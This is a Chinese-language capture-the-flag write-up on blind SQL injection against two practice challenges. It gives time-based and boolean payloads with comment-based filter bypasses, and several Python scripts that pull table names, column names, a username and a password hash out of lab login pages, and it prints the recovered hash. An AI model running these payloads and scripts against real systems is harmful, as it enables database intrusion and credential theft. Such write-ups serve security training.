1. 程式人生 > >SQL注入篇 盲注總彙

SQL注入篇 盲注總彙

最近看了一些盲注習題,在這裡想總結一下吧。

盲注其實可以代替任何注入,但基本的注入比盲注簡單。在這裡我先解析幾道盲注的習題。

1. JSOJ的題目

這裡寫圖片描述
發現了sql盲注漏洞 並且是sleep注入
2. 利用給出的payload初步嘗試

/*'XOR(if(1,sleep(2),0))OR'*/
確實有延遲效果,那麼下面就是寫程式碼了

這裡寫圖片描述
3. 利用sleep延遲注入,編寫python指令碼
首先得到資料表名(注意有空格過濾)

首先得到資料表名(注意有空格過濾)
利用此程式碼爆破資料表名

# by zy
# 10.15.2016
import requests
url=r'http://web.jarvisoj.com:32787/login.php'
string='' dic='0123456789abcdefghijklmnopqrstuvwxyz' for i in range(1,33): for j in dic: id="/*'XOR(if(ord((select/**/substr(table_name,{0},1)/**/from/**/information_schema.tables/*!where*/table_schema=database()))={1},sleep(3),0))OR'*/".format(str(i),ord(j)) data={ 'username':id, 'password'
: 1 } print j s=requests.post(url=url,data=data) sec=s.elapsed.seconds if sec > 2: string+=j break print string
接著要利用此程式碼爆破 欄位名稱
# by zy
# 10.15.2016
import requests
url=r'http://web.jarvisoj.com:32787/login.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,33): for j in dic: id="/*'XOR(if(ord((select/**/substr(group_concat(column_name),{0},1)/**/from/**/information_schema.columns/*!where*/table_name='admin'/**/limit/**/1))={1},sleep(3),0))OR'*/".format(str(i),ord(j)) data={ 'username':id, 'password': 1 } print j s=requests.post(url=url,data=data) sec=s.elapsed.seconds if sec > 2: string+=j break print string

這裡寫圖片描述

利用上面爆出來的欄位名稱爆欄位內容
將/*'XOR(if(1,sleep(ord(substr(password,{0},1))-47),0))OR'*/作為payload

程式碼如下
# by zy
# 10.15.2016
import requests
url=r'http://web.jarvisoj.com:32787/login.php'
string=''
for i in range(1,5):
    id="/*'XOR(if(1,sleep(ord(substr(username,{0},1))-97),0))OR'*/".format(str(i))
    data={
        'username':id,
        'password': 1
    }
    s=requests.post(url=url,data=data)
    sec=s.elapsed.seconds
    string+=chr(97+int(sec))
    print string
結果為admin
再替換payload變為
/*'XOR(if(1,sleep(ord(substr(password,{0},1))-47),0))OR'*/
就可以爆出密碼了
爆出的密碼為334cfb59c9d74849801d5acdcfdaadc3
或者利用以下程式碼進行暴庫也可以
# by zy
# 10.15.2016
import requests
url=r'http://web.jarvisoj.com:32787/login.php'
string=''
dic='0123456789abcdefghijklmnopqrstuvwxyz'
for i in range(1,33):
    for j in dic:
        id="/*'XOR(if(ord(substr(password,{0},1))>{1},sleep(3),0))OR'*/".format(str(i),ord(j))
        data={
            'username':id,
            'password': 1
        }
        s=requests.post(url=url,data=data)
        sec=s.elapsed.seconds

        if sec < 2:
            string+=j
            break
    print string

2.hackinglab題目

注入關 2
這道題我把他強行轉化為盲注的題目來練手^_^.首先找到盲注的條件

id=1 and 1=2時
文段中沒有顯示任何東西
當id=1時
文段中有顯示
滿足盲注條件
爆資料表



import requests
cookies={
        'PHPSESSID': '944d46747cd9059f63dc2e103b2fe31a'
}

dic='3_abcdefghijklmnopqrstuvwxyz'
string = ''
for i in range(1,33):
    for j in dic:
        url='http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and ord((select substr(table_name,{0},1) from information_schema.tables where table_schema=database())) = {1}'.format(str(i),ord(j))
        s=requests.get(url=url , cookies=cookies)
        content=s.content
        length=len(content)
        print length
        if length > 400 :
            string+=j
            break
    print string 

這裡寫圖片描述

爆欄位名稱

import requests
cookies={
        'PHPSESSID': '944d46747cd9059f63dc2e103b2fe31a'
}

dic='3_abcdefghijklmnopqrstuvwxyz'
string = ''
for i in range(1,33):
    for j in dic:
        url='http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php?id=1 and ord((select substr(group_concat(column_name),{0},1) from information_schema.columns where table_name="sae_user_sqli3")) = {1}'.format(str(i),ord(j))
        s=requests.get(url=url , cookies=cookies)
        content=s.content
        length=len(content)
        print length
        if length > 400 :
            string+=j
            break
    print string 

idtitlecontent